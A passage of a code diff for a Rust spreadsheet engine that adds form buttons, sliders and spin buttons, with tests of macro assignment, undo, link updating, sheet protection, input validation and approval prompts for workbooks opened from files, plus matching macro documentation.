assert!(err(s.execute("control.assign", json!({"id": b, "command": "file.saveAs"}))).contains("can't run file.saveAs")); + assert!(err(s.execute("control.assign", json!({"id": b, "command": "control.press", "params": {"id": b}}))).contains("can't run control.press")); + assert!(err(s.execute("control.assign", json!({"id": b, "command": "no.such"}))).contains("no command")); + assert!(err(s.execute("control.assign", json!({"id": b, "macro": "Fill", "input": "nonsense!!"}))).contains("`input`")); + assert!(err(s.execute("control.assign", json!({"id": b}))).contains("clear")); + assert!(err(s.execute("control.assign", json!({"id": c, "macro": "Fill"}))).contains("only buttons")); + s.execute("control.assign", json!({"id": b, "clear": true})).unwrap(); + assert_eq!(control(&s, b).action, None); + // Renaming the macro keeps the button pointing at it. + s.execute("control.assign", json!({"id": b, "macro": "fill"})).unwrap(); + s.execute("macro.rename", json!({"name": "Fill", "to": "Fill Block"})).unwrap(); + assert!(matches!(control(&s, b).action, Some(ControlAction::Macro { ref name, .. }) if name == "Fill Block")); + let list = s.execute("control.list", json!({})).unwrap(); + assert_eq!(list.as_array().map(Vec::len), Some(2)); + assert_eq!(list[1]["text"], json!("Go")); +} + +#[test] +fn pressing_a_button_runs_its_macro_as_one_undo_step() { + let mut s = s(); + s.execute( + "macro.save", + json!({"name": "Mark", "inputs": [{"name": "Input", "kind": "range"}], "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "done"}}], "output": {"onConflict": "overwrite"}}), + ) + .unwrap(); + let b = id(&s.execute("insert.button", json!({"macro": "Mark"})).unwrap()); + s.execute("selection.set", json!({"range": "C3:D4"})).unwrap(); + let before = undo_len(&s); + let r = s.execute("control.press", json!({"id": b})).unwrap(); + assert_eq!(r["macro"], json!("Mark")); + assert_eq!(v(&s, "C3"), Value::text("done")); + assert_eq!(undo_len(&s), before + 1); + s.execute("edit.undo", json!({})).unwrap(); + assert_eq!(v(&s, "C3"), Value::Empty); + // A fixed input ignores the selection. + s.execute("control.assign", json!({"id": b, "macro": "Mark", "input": "F6:G7"})).unwrap(); + s.execute("control.press", json!({"id": b})).unwrap(); + assert_eq!((v(&s, "F6"), v(&s, "C3")), (Value::text("done"), Value::Empty)); + // No action, a missing macro, not a button. + let empty = id(&s.execute("insert.button", json!({"text": "Nothing"})).unwrap()); + assert!(err(s.execute("control.press", json!({"id": empty}))).contains("has no action")); + s.execute("control.assign", json!({"id": empty, "macro": "Gone"})).unwrap(); + assert!(err(s.execute("control.press", json!({"id": empty}))).contains("no macro called")); + let spin = id(&s.execute("insert.spinButton", json!({})).unwrap()); + assert!(err(s.execute("control.press", json!({"id": spin}))).contains("only buttons")); +} + +#[test] +fn a_command_button_goes_through_the_policy_with_the_documents_trust() { + let mut s = s(); + let b = id(&s.execute("insert.button", json!({"command": "cell.set", "params": {"cell": "A1", "input": "7"}})).unwrap()); + // A workbook made here runs it straight away, as one undo step. + let before = undo_len(&s); + s.execute("control.press", json!({"id": b})).unwrap(); + assert_eq!(v(&s, "A1"), Value::Number(7.0)); + assert_eq!(undo_len(&s), before + 1); + s.execute("edit.undo", json!({})).unwrap(); + // From a file: it asks first, once. + s.doc_mut().unwrap().trust = Trust::FromFile; + match s.execute("control.press", json!({"id": b})) { + Err(EngineError::Approve(q)) => assert!(q.contains("came with a workbook you opened"), "{q}"), + other => panic!("expected a question, got {other:?}"), + } + assert_eq!(v(&s, "A1"), Value::Empty, "nothing ran"); + s.execute("control.press", json!({"id": b, "approve": true})).unwrap(); + assert_eq!(v(&s, "A1"), Value::Number(7.0)); + s.execute("cell.set", json!({"cell": "A1", "input": ""})).unwrap(); + s.execute("control.press", json!({"id": b})).unwrap(); + assert_eq!(v(&s, "A1"), Value::Number(7.0), "approved for the session"); + // A command that reads a file always asks. + s.doc_mut().unwrap().trust = Trust::Local; + let f = id(&s.execute("insert.button", json!({"command": "data.fromTextCsv", "params": {"path": "/nonexistent/x.csv"}})).unwrap()); + assert!(matches!(s.execute("control.press", json!({"id": f})), Err(EngineError::Approve(q)) if q.contains("reads a file"))); + // A denied command that a file brought in never runs. + let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap(); + if let Some(c) = sh.controls.iter_mut().find(|c| c.id as u64 == f) { + c.action = Some(ControlAction::Command { id: "file.saveAs".into(), params: json!({"path": "/tmp/x.xlsx"}) }); + } + assert!(err(s.execute("control.press", json!({"id": f, "approve": true}))).contains("can't run file.saveAs")); + // A macro button in a file's workbook asks too (the runner's gate). + s.execute( + "macro.save", + json!({"name": "M", "steps": [{"command": "cell.set", "params": {"cell": "B1", "input": "1"}}], "output": {"onConflict": "overwrite"}}), + ) + .unwrap(); + let m = id(&s.execute("insert.button", json!({"macro": "M"})).unwrap()); + s.doc_mut().unwrap().trust = Trust::FromFile; + assert!(matches!(s.execute("control.press", json!({"id": m})), Err(EngineError::Approve(_)))); + s.execute("control.press", json!({"id": m, "approve": true})).unwrap(); + assert_eq!(v(&s, "B1"), Value::Number(1.0)); +} + +#[test] +fn hostile_params_are_refused() { + let mut s = s(); + let c = id(&s.execute("insert.slider", json!({"width": 1e30, "height": -5, "at": "XFD1048576"})).unwrap()); + let a = control(&s, c).anchor; + assert_eq!((a.width, a.height), (10_000.0, 4.0)); + let long = "x".repeat(2_000); + assert!(s.execute("insert.button", json!({"text": long})).is_err()); + assert!(s.execute("insert.button", json!({"text": 5})).is_err()); + assert!(s.execute("insert.button", json!({"command": "cell.set", "params": [1]})).is_err()); + assert!(s.execute("control.format", json!({"id": c, "link": 5})).is_err()); + assert!(s.execute("control.format", json!({"id": c, "value": f64::MAX})).is_err()); + assert!(s.execute("control.setValue", json!({"id": c, "value": f64::MIN})).is_ok()); + assert_eq!(control(&s, c).value, 0); + // Snapping keeps the maximum reachable when the step doesn't divide the range. + let odd = FormControl { kind: ControlKind::Spin, min: 0, max: 10, step: 3, ..Default::default() }; + assert_eq!((odd.snap(9.4), odd.snap(9.6), odd.snap(f64::NAN)), (9, 10, 0)); +} + +fn link(s: &Session, sheet_i: usize, id: u64) -> String { + let sh = s.doc().unwrap().wb.sheet(sheet_i).unwrap(); + sh.controls.iter().find(|c| c.id as u64 == id).and_then(|c| c.link.clone()).unwrap_or_default() +} + +#[test] +fn links_follow_inserts_deletes_renames_and_cut_moves() { + let mut s = s(); + s.execute("home.insertSheet", json!({"name": "Data"})).unwrap(); + // A control on Data pointing back at Sheet1. + let back = id(&s.execute("insert.spinButton", json!({"at": "C3", "link": "Sheet1!$B$2"})).unwrap()); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + let local = id(&s.execute("insert.slider", json!({"at": "E2", "link": "$B$2"})).unwrap()); + let remote = id(&s.execute("insert.spinButton", json!({"at": "E6", "link": "Data!$A$1"})).unwrap()); + + s.execute("home.insertRows", json!({"rows": "1:1"})).unwrap(); + s.execute("home.insertColumns", json!({"cols": "A:A"})).unwrap(); + assert_eq!(link(&s, 0, local), "$C$3"); + assert_eq!(link(&s, 1, back), "Sheet1!$C$3"); + assert_eq!(link(&s, 0, remote), "Data!$A$1", "edits on Sheet1 leave links into Data alone"); + + s.execute("cell.set", json!({"cell": "C3", "input": "7"})).unwrap(); + s.execute("edit.cut", json!({"range": "C3"})).unwrap(); + s.execute("edit.paste", json!({"at": "G9"})).unwrap(); + assert_eq!(link(&s, 0, local), "$G$9", "a cut-move takes the link with the cell"); + assert_eq!(link(&s, 1, back), "Sheet1!$G$9"); + + s.execute("sheet.rename", json!({"sheet": 1, "name": "Inputs"})).unwrap(); + assert_eq!(link(&s, 0, remote), "Inputs!$A$1"); + s.execute("home.deleteRows", json!({"rows": "9:9"})).unwrap(); + assert!(link(&s, 0, local).contains("#REF!"), "{}", link(&s, 0, local)); + s.execute("home.deleteSheet", json!({"sheet": 1})).unwrap(); + assert!(link(&s, 0, remote).contains("#REF!"), "{}", link(&s, 0, remote)); + // A link to a deleted cell writes nothing. + s.execute("control.setValue", json!({"id": local, "value": 5})).unwrap(); + for _ in 0..3 { + s.execute("edit.undo", json!({})).unwrap(); + } + assert_eq!((link(&s, 0, local), link(&s, 0, remote)), ("$G$9".to_string(), "Inputs!$A$1".to_string())); +} + +#[test] +fn a_locked_control_on_a_protected_sheet_cannot_be_changed() { + let mut s = s(); + let c = id(&s.execute("insert.slider", json!({"link": "B1"})).unwrap()); + let b = id(&s.execute("insert.button", json!({})).unwrap()); + s.execute("review.protectSheet", json!({})).unwrap(); + assert!(err(s.execute("control.format", json!({"id": c, "max": 50}))).contains("protected")); + assert!(err(s.execute("control.assign", json!({"id": b, "command": "home.bold"}))).contains("protected")); +} diff --git a/crates/engine/src/tests/macros.rs b/crates/engine/src/tests/macros.rs index aa17080fa..fe983f97e 100644 --- a/crates/engine/src/tests/macros.rs +++ b/crates/engine/src/tests/macros.rs @@ -2434,3 +2434,58 @@ fn a_shortcut_taken_while_recording_is_reported_when_it_is_left_off() { assert!(r.get("shortcutDropped").is_none(), "{r}"); assert_eq!(s.execute("macro.get", json!({"name": "Keep"})).unwrap()["shortcut"], "Ctrl+Shift+Q"); } + +/// `output` (a form button's output cell) moves where the macro writes: the footprint, the +/// conflict rule and `macro.check` protect the data at the cells it names, as at the macro's own +/// anchor, and a value that names no cell is refused before anything runs. +#[test] +fn an_output_override_is_checked_and_protected_like_the_macros_own_anchor() { + let mut s = s(); + s.execute("home.insertSheet", json!({"name": "Other"})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + put( + &mut s, + json!({"name": "Placed", "output": {"anchor": "D1"}, "steps": [ + {"command": "cell.set", "params": {"cell": "Output", "input": "out"}} + ]}), + ); + set(&mut s, "F1", "keep me"); + let start = s.doc().unwrap().wb.clone(); + // Writing over F1 asks (programmatic runs fail) and changes nothing, as it would at D1. + let r = s.execute("macro.run", json!({"name": "Placed", "output": "F1"})); + let Err(EngineError::Confirm(q)) = r else { panic!("{r:?}") }; + assert!(q.contains("(F1 on Sheet1)"), "{q}"); + let err = s.execute("macro.run", json!({"name": "Placed", "output": "F1", "onConflict": "fail"})).unwrap_err().to_string(); + assert!(err.contains("Nothing was changed"), "{err}"); + assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &start)); + // macro.check reports the override and its conflict. + let c = s.execute("macro.check", json!({"name": "Placed", "output": "F1"})).unwrap(); + assert_eq!((&c["ok"], &c["output"], &c["conflicts"]), (&json!(false), &json!("F1"), &json!(1)), "{c}"); + // On another sheet too. + s.execute("cell.set", json!({"cell": "Other!B2", "input": "theirs"})).unwrap(); + let r = s.execute("macro.run", json!({"name": "Placed", "output": "Other!B2"})); + assert!(matches!(&r, Err(EngineError::Confirm(q)) if q.contains("(B2 on Other)")), "{r:?}"); + // The stored anchor holding data doesn't matter when the output goes elsewhere. + set(&mut s, "D1", "stored anchor's data"); + s.execute("macro.run", json!({"name": "Placed", "output": "H1"})).unwrap(); + assert_eq!((v(&s, "H1").display(), v(&s, "D1").display()), ("out".to_string(), "stored anchor's data".to_string())); + // Hostile values are refused before anything runs. + let before = s.doc().unwrap().wb.clone(); + for (bad, needle) in [ + (json!(5), "`output` must be reference text"), + (json!({"cell": "F1"}), "`output` must be reference text"), + (json!(" "), "`output` must be reference text"), + (json!("x".repeat(1_025)), "`output` must be reference text"), + (json!("F1\nF2"), "`output` must be reference text"), + (json!("NoSuchSheet!A1"), "output anchor"), + (json!("XFE1"), "output anchor"), + (json!("A1048577"), "output anchor"), + (json!("not a cell!!"), "output anchor"), + ] { + let err = s.execute("macro.run", json!({"name": "Placed", "output": bad, "onConflict": "overwrite"})).unwrap_err().to_string(); + assert!(err.contains(needle), "{bad}: {err}"); + let c = s.execute("macro.check", json!({"name": "Placed", "output": bad})).unwrap(); + assert!(c["errors"].to_string().contains(needle), "{bad}: {c}"); + } + assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &before)); +} diff --git a/crates/engine/src/tests/objects.rs b/crates/engine/src/tests/objects.rs index 7082b9054..3d420be16 100644 --- a/crates/engine/src/tests/objects.rs +++ b/crates/engine/src/tests/objects.rs @@ -19,9 +19,9 @@ fn id_of(v: &serde_json::Value, key: &str) -> u32 { v[key].as_u64().unwrap() as u32 } -/// A table with one object of each kind on the first sheet: a chart, a picture, a shape and a -/// slicer, in `ObjKind::ALL` order. -fn every_kind(s: &mut Session) -> [ObjRef; 4] { +/// A table with one object of each kind on the first sheet: a chart, a picture, a shape, a +/// slicer and a form control, in `ObjKind::ALL` order. +fn every_kind(s: &mut Session) -> [ObjRef; 5] { s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Qty"], ["East", 3], ["West", 5], ["East", 2], ["North", 8]]})).unwrap(); s.execute("insert.table", json!({"range": "A1:B5", "name": "Sales"})).unwrap(); let chart = id_of(&s.execute("insert.chart", json!({"range": "B1:B5", "type": "column", "at": "D2"})).unwrap(), "chart"); @@ -29,7 +29,14 @@ fn every_kind(s: &mut Session) -> [ObjRef; 4] { let shape = id_of(&s.execute("insert.shape", json!({"kind": "ellipse", "at": "H18"})).unwrap(), "shape"); s.execute("selection.set", json!({"cell": "A2"})).unwrap(); let slicer = id_of(&s.execute("insert.slicer", json!({"column": "Region", "at": "L2"})).unwrap(), "slicer"); - [ObjRef::new(ObjKind::Chart, chart), ObjRef::new(ObjKind::Image, image), ObjRef::new(ObjKind::Shape, shape), ObjRef::new(ObjKind::Slicer, slicer)] + let control = id_of(&s.execute("insert.slider", json!({"at": "P18", "link": "$B$7"})).unwrap(), "control"); + [ + ObjRef::new(ObjKind::Chart, chart), + ObjRef::new(ObjKind::Image, image), + ObjRef::new(ObjKind::Shape, shape), + ObjRef::new(ObjKind::Slicer, slicer), + ObjRef::new(ObjKind::Control, control), + ] } #[test] @@ -58,9 +65,9 @@ fn every_kind_is_found_moved_and_deleted_by_kind_and_id() { assert!(sheet(&s, 0).has_object(*later), "deleting {o:?} leaves {later:?}"); } } - // One undo step per delete brings the slicer back. + // One undo step per delete brings the control back. s.execute("edit.undo", json!({})).unwrap(); - assert!(sheet(&s, 0).has_object(objs[3])); + assert!(sheet(&s, 0).has_object(objs[4])); } #[test] @@ -74,9 +81,11 @@ fn selection_pane_lists_and_stacks_slicers() { for k in ObjKind::ALL { assert!(kinds.contains(&k.name()), "{k:?} listed in {kinds:?}"); } - assert_eq!(kinds.last(), Some(&"slicer"), "slicers stack on top"); + assert_eq!(kinds.last(), Some(&"control"), "form controls stack on top"); + assert_eq!(kinds.get(kinds.len() - 2), Some(&"slicer"), "slicers stack above charts, pictures and shapes"); let names: Vec<&str> = items.iter().map(|o| o["name"].as_str().unwrap()).collect(); assert!(names.contains(&"Region") && names.contains(&"Qty"), "{names:?}"); + assert!(names.contains(&format!("Slider {}", objs[4].id).as_str()), "{names:?}"); assert_eq!(sheet(&s, 0).slicers.first().map(|c| c.id), Some(objs[3].id)); s.execute("arrange.sendBackward", json!({"kind": "slicer", "id": second, "toBack": true})).unwrap(); assert_eq!(sheet(&s, 0).slicers.first().map(|c| c.id), Some(second)); @@ -112,17 +121,17 @@ fn cell_of(s: &Session, o: ObjRef) -> String { fn every_kind_follows_row_and_column_edits_and_sorts() { let mut s = s(); let objs = every_kind(&mut s); - // Anchors: chart D2, picture D18, shape H18, slicer L2. + // Anchors: chart D2, picture D18, shape H18, slicer L2, slider P18. s.execute("object.setAnchorMode", json!({"kind": "shape", "id": objs[2].id, "mode": "absolute"})).unwrap(); let cells = |s: &Session| objs.map(|o| cell_of(s, o)); - assert_eq!(cells(&s), ["D2", "D18", "H18", "L2"]); + assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "P18"]); s.execute("home.insertRows", json!({"rows": "10:11"})).unwrap(); - assert_eq!(cells(&s), ["D2", "D20", "H18", "L2"], "rows inserted above move the objects below them; an absolute shape stays"); + assert_eq!(cells(&s), ["D2", "D20", "H18", "L2", "P20"], "rows inserted above move the objects below them; an absolute shape stays"); s.execute("home.insertColumns", json!({"cols": "C:C"})).unwrap(); - assert_eq!(cells(&s), ["E2", "E20", "H18", "M2"]); + assert_eq!(cells(&s), ["E2", "E20", "H18", "M2", "Q20"]); s.execute("home.deleteColumns", json!({"cols": "C:C"})).unwrap(); s.execute("home.deleteRows", json!({"rows": "10:11"})).unwrap(); - assert_eq!(cells(&s), ["D2", "D18", "H18", "L2"]); + assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "P18"]); // Sorting moves a picture anchored inside the sorted block with its row. s.execute("range.setValues", json!({"range": "T1", "values": [["k"], [3], [1], [2]]})).unwrap(); let pic = ObjRef::new(ObjKind::Image, super::add_image(&mut s, "T2", AnchorMode::MoveAndSize)); @@ -177,6 +186,7 @@ fn a_copied_sheet_gives_its_objects_fresh_ids() { .chain(sh.images.iter().map(|c| c.id)) .chain(sh.shapes.iter().map(|c| c.id)) .chain(sh.slicers.iter().map(|c| c.id)) + .chain(sh.controls.iter().map(|c| c.id)) .collect() }; let mut ids: Vec = wb.sheets.iter().flat_map(|sh| ids_of(sh)).collect(); diff --git a/crates/model/src/features.rs b/crates/model/src/features.rs index 0d6cc53ff..0c7f880d7 100644 --- a/crates/model/src/features.rs +++ b/crates/model/src/features.rs @@ -604,6 +604,171 @@ pub struct Shape { pub format: ShapeFormat, } +/// What a form control on the sheet is. +#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub enum ControlKind { + #[default] + Button, + Slider, + Spin, +} + +impl ControlKind { + /// The kind's name in the window: Button, Slider, Spin Button. + pub fn label(self) -> &'static str { + match self { + ControlKind::Button => "Button", + ControlKind::Slider => "Slider", + ControlKind::Spin => "Spin Button", + } + } +} + +/// The largest value a slider or spin button takes (Excel's scroll bar limit). Values are whole +/// numbers from 0 to this. +pub const CONTROL_MAX: u32 = 30_000; + +/// What a button runs when it is pressed. +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] +#[serde(tag = "type", rename_all = "camelCase")] +pub enum ControlAction { + /// Runs a macro of the workbook on `input`, optionally sending its output to `output`. + Macro { + name: String, + #[serde(default)] + input: MacroInput, + #[serde(default, skip_serializing_if = "Option::is_none")] + output: Option, + }, + /// Runs one GridCraft command with fixed parameters. + Command { + id: String, + #[serde(default)] + params: serde_json::Value, + }, +} + +/// The range a button's macro runs on. +#[derive(Clone, Debug, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub enum MacroInput { + /// The selection when the button is pressed. + #[default] + Selection, + /// Always this range (`B2:D9` or `Data!B2:D9`). + Fixed(String), +} + +/// A form control (button, slider, spin button) floating over the sheet. +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] +#[serde(default)] +pub struct FormControl { + pub id: u32, + pub kind: ControlKind, + pub anchor: Anchor, + /// The name shown in the Selection Pane (`Button 3`); empty means the kind and id. + pub name: String, + /// The caption of a button. + pub text: String, + /// The linked cell as reference text: `$B$2` on the control's own sheet, or `Sheet2!$B$2`. + /// Structural edits rewrite it like a formula reference. + pub link: Option, + /// The current value of a slider or spin button (the linked cell holds it too). + pub value: u32, + pub min: u32, + pub max: u32, + /// Incremental change: one arrow click or arrow key. + pub step: u32, + /// Page change (sliders): a click on the track, or Page Up / Page Down. + pub page: u32, + /// A slider lies horizontally (false: vertically). + pub horizontal: bool, + /// What a button runs. + pub action: Option, + /// Printed with the sheet. + pub print: bool, + /// Locked when the sheet is protected. + pub locked: bool, +} + +impl Default for FormControl { + fn default() -> Self { + FormControl { + id: 0, + kind: ControlKind::default(), + anchor: Anchor::default(), + name: String::new(), + text: String::new(), + link: None, + value: 0, + min: 0, + max: 100, + step: 1, + page: 10, + horizontal: true, + action: None, + print: true, + locked: true, + } + } +} + +impl FormControl { + /// The name shown for the control: its own, else `Button 3`, `Slider 4`, `Spin Button 5`. + pub fn display_name(&self) -> String { + if self.name.trim().is_empty() { format!("{} {}", self.kind.label(), self.id) } else { self.name.clone() } + } + + /// Checks the numbers of a slider or spin button: 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min, + /// and (sliders) page ≥ step. Each rule has its own message. + pub fn check_numbers(&self) -> Result<(), String> { + if self.kind == ControlKind::Button { + return Ok(()); + } + if self.max > CONTROL_MAX { + return Err(format!("Maximum value can be at most {CONTROL_MAX}.")); + } + if self.min > CONTROL_MAX { + return Err(format!("Minimum value must be a whole number from 0 to {CONTROL_MAX}.")); + } + if self.min >= self.max { + return Err(format!("Maximum value ({}) must be greater than Minimum value ({}).", self.max, self.min)); + } + if self.step < 1 { + return Err("Incremental change must be at least 1.".into()); + } + let span = self.max - self.min; + if self.step > span { + return Err(format!("Incremental change ({}) can be at most Maximum minus Minimum ({span}).", self.step)); + } + if self.kind == ControlKind::Slider { + if self.page < self.step { + return Err(format!("Page change ({}) must be at least the incremental change ({}).", self.page, self.step)); + } + if self.page > CONTROL_MAX { + return Err(format!("Page change can be at most {CONTROL_MAX}.")); + } + } + Ok(()) + } + + /// `v` clamped to min..max and snapped to the nearest step from min (max stays reachable). + pub fn snap(&self, v: f64) -> u32 { + let (min, max) = (self.min.min(CONTROL_MAX), self.max.min(CONTROL_MAX).max(self.min.min(CONTROL_MAX))); + if !v.is_finite() || v <= min as f64 { + return min; + } + if v >= max as f64 { + return max; + } + let step = self.step.max(1) as f64; + let snapped = (min as f64 + ((v - min as f64) / step).round() * step).clamp(min as f64, max as f64); + // When the step doesn't divide the range, the maximum is a stop of its own. + if (max as f64 - v).abs() < (snapped - v).abs() { max } else { snapped as u32 } + } +} + /// The kinds of floating object a sheet holds. Commands name an object by kind and /// workbook-unique id (`{kind: "chart", id}`); [`ObjKind::name`] is that parameter's spelling. #[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)] @@ -613,10 +778,11 @@ pub enum ObjKind { Image, Shape, Slicer, + Control, } impl ObjKind { - pub const ALL: [ObjKind; 4] = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer]; + pub const ALL: [ObjKind; 5] = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer, ObjKind::Control]; /// The name used in command parameters. pub fn name(self) -> &'static str { @@ -625,6 +791,7 @@ impl ObjKind { ObjKind::Image => "image", ObjKind::Shape => "shape", ObjKind::Slicer => "slicer", + ObjKind::Control => "control", } } diff --git a/crates/model/src/sheet.rs b/crates/model/src/sheet.rs index d442a5340..70b504174 100644 --- a/crates/model/src/sheet.rs +++ b/crates/model/src/sheet.rs @@ -8,8 +8,8 @@ use serde::{Deserialize, Serialize}; use crate::cell::{Cell, CellPicture}; use crate::features::{ - Anchor, AutoFilter, Chart, Comment, CondFormat, Hyperlink, Image, LineInfo, ObjKind, ObjRef, PivotTable, PrintSettings, Shape, SheetProtection, - Slicer, Sparkline, Table, Validation, + Anchor, AutoFilter, Chart, Comment, CondFormat, FormControl, Hyperlink, Image, LineInfo, ObjKind, ObjRef, PivotTable, PrintSettings, Shape, + SheetProtection, Slicer, Sparkline, Table, Validation, }; use crate::store::CellStore; use crate::style::{Color, StyleId}; @@ -111,6 +111,10 @@ pub struct Sheet { /// On-sheet slicer widgets (filter a table column by clicking value tiles). #[serde(default)] pub slicers: Vec, + /// Form controls (buttons, sliders, spin buttons). They paint above every other object and + /// take clicks first. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub controls: Vec, /// PivotTables whose output lives on this sheet. #[serde(default)] pub pivots: Vec, @@ -182,6 +186,7 @@ impl Sheet { shapes: vec![], sparklines: vec![], slicers: vec![], + controls: vec![], pivots: vec![], protection: None, edit_ranges: vec![], @@ -212,6 +217,8 @@ impl Sheet { ObjKind::Shape } else if self.slicers.iter().any(|o| o.id == id) { ObjKind::Slicer + } else if self.controls.iter().any(|o| o.id == id) { + ObjKind::Control } else { return None; }; @@ -230,6 +237,7 @@ impl Sheet { ObjKind::Image => self.images.iter().find(|c| c.id == o.id).map(|c| c.anchor), ObjKind::Shape => self.shapes.iter().find(|c| c.id == o.id).map(|c| c.anchor), ObjKind::Slicer => self.slicers.iter().find(|c| c.id == o.id).map(|c| c.anchor), + ObjKind::Control => self.controls.iter().find(|c| c.id == o.id).map(|c| c.anchor), } } @@ -239,6 +247,7 @@ impl Sheet { ObjKind::Image => self.images.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor), ObjKind::Shape => self.shapes.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor), ObjKind::Slicer => self.slicers.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor), + ObjKind::Control => self.controls.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor), } } @@ -254,12 +263,13 @@ impl Sheet { ObjKind::Image => take(&mut self.images, |c| c.id == o.id), ObjKind::Shape => take(&mut self.shapes, |c| c.id == o.id), ObjKind::Slicer => take(&mut self.slicers, |c| c.id == o.id), + ObjKind::Control => take(&mut self.controls, |c| c.id == o.id), } } - /// Every floating object's anchor in a fixed order (charts, images, shapes, slicers) that - /// [`Sheet::object_anchors_mut`] repeats, so a pass can compute new anchors from the old ones - /// and write them back in step. + /// Every floating object's anchor in a fixed order (charts, images, shapes, slicers, controls) + /// that [`Sheet::object_anchors_mut`] repeats, so a pass can compute new anchors from the old + /// ones and write them back in step. pub fn object_anchors(&self) -> impl Iterator { self.charts .iter() @@ -267,6 +277,7 @@ impl Sheet { .chain(self.images.iter().map(|o| &o.anchor)) .chain(self.shapes.iter().map(|o| &o.anchor)) .chain(self.slicers.iter().map(|o| &o.anchor)) + .chain(self.controls.iter().map(|o| &o.anchor)) } pub fn object_anchors_mut(&mut self) -> impl Iterator { @@ -276,6 +287,7 @@ impl Sheet { .chain(self.images.iter_mut().map(|o| &mut o.anchor)) .chain(self.shapes.iter_mut().map(|o| &mut o.anchor)) .chain(self.slicers.iter_mut().map(|o| &mut o.anchor)) + .chain(self.controls.iter_mut().map(|o| &mut o.anchor)) } /// Displayed value of a cell: its own value, or a spilled value. pub fn value(&self, c: CellRef) -> Value { diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index 12feee628..dca068155 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -432,6 +432,9 @@ impl Workbook { for c in &s.slicers { m = m.max(c.id); } + for c in &s.controls { + m = m.max(c.id); + } } m.saturating_add(1) } @@ -493,6 +496,10 @@ mod tests { sh.images.push(image(7)); } assert_eq!(wb.next_object_id(), 8); + if let Some(sh) = wb.sheet_mut(0) { + sh.controls.push(crate::FormControl { id: 12, ..Default::default() }); + } + assert_eq!(wb.next_object_id(), 13, "form controls take ids from the same sequence"); if let Some(sh) = wb.sheet_mut(0) { sh.images.push(image(u32::MAX)); } diff --git a/crates/ui-egui/src/objects.rs b/crates/ui-egui/src/objects.rs index 004f07d09..e6afa30bd 100644 --- a/crates/ui-egui/src/objects.rs +++ b/crates/ui-egui/src/objects.rs @@ -124,7 +124,7 @@ pub fn open_action(sh: &Sheet, o: ObjRef) -> OpenAction { match o.kind { ObjKind::Chart => OpenAction::FormatChart(o.id), ObjKind::Shape if sh.shapes.iter().any(|s| s.id == o.id && s.kind == ShapeKind::TextBox) => OpenAction::EditText(o.id), - ObjKind::Shape | ObjKind::Image | ObjKind::Slicer => OpenAction::Select, + ObjKind::Shape | ObjKind::Image | ObjKind::Slicer | ObjKind::Control => OpenAction::Select, } } diff --git a/docs/macros.md b/docs/macros.md index 3335b5ecc..9a4b32859 100644 --- a/docs/macros.md +++ b/docs/macros.md @@ -1,6 +1,6 @@ # Macros -> **Last updated:** 2026-10-25 · **Change:** minor (recording macros and the management commands; Record Macro takes a name, shortcut and description; the macro interface: Automate › Macros, the Macros and Record Macro dialogs, the step editor, shortcuts) +> **Last updated:** 2026-10-31 · **Change:** minor (form buttons run macros; `macro.run` takes `output`) GridCraft macros are typed, declarative lists of commands, not VBA. Every step runs a GridCraft command (the same ids the ribbon, CLI and MCP use) or one of three bounded control steps. A macro @@ -98,12 +98,18 @@ refused rather than read as the header. ## Running -`macro.run {name, inputs?, onConflict?, overwrite?, approve?, timeLimit?}`: +`macro.run {name, inputs?, output?, onConflict?, overwrite?, approve?, timeLimit?}` (`output` +replaces the macro's output anchor for this run, as a form button that sends the output elsewhere +does; `macro.check` and the debugger take it too). The policy and the approval go by the macro as +it is stored; the footprint, the conflict rule and the check of each step work on the cells +`output` names, so data there is protected as at the macro's own anchor. An `output` that isn't +reference text of at most 1,024 characters, or that names no cell (a bad reference, a sheet that +doesn't exist, a cell outside the grid), is refused before anything runs: 1. **Policy.** File commands other than Properties, exports and printing (such as Open, Save and Close), app, window (including New Window, Hide and Unhide), automate and macro commands, - and Undo and Redo, never run in a macro. File › Properties runs, and so do exports and - printing (`file.exportPdf`, `exportCsv`, `exportHtml`, `print`, `printPreview`, `saveBytes`) + Undo and Redo, and pressing a form control (`control.press`), never run in a macro. File › + Properties runs, and so do exports and printing (`file.exportPdf`, `exportCsv`, `exportHtml`, `print`, `printPreview`, `saveBytes`) that only produce bytes. Reading or writing a file (`data.getData`, `data.fromTextCsv`, `insert.picture` or `pageLayout.background` with a `path`, or an export or print with a `path`) needs the command in the macro's `permissions`. Any `path` other than `null` counts, @@ -246,6 +252,18 @@ kept but does not run the macro. {name, to}`. Saving under a name a macro has is refused unless `replace: true` is passed, and renaming to one is refused; names compare ignoring the case of the letters A to Z. A renamed macro is checked against every limit again, its size included. Saving, renaming and deleting are undoable. +Renaming a macro also renames it in the form buttons that run it. + +## Form buttons + +A form button (Insert › Controls › Button, `insert.button`) runs a macro or one command when it is +pressed (`control.press {id, approve?, onConflict?}`). `control.assign {id, macro, input?, +output?}` makes it run a macro, on the selection when it is pressed (`input: "selection"`, the +default) or always on one range (`input: "B2:D9"`), with an optional output cell; `control.assign +{id, command, params}` makes it run a command with fixed parameters. A macro runs through +`macro.run` with its 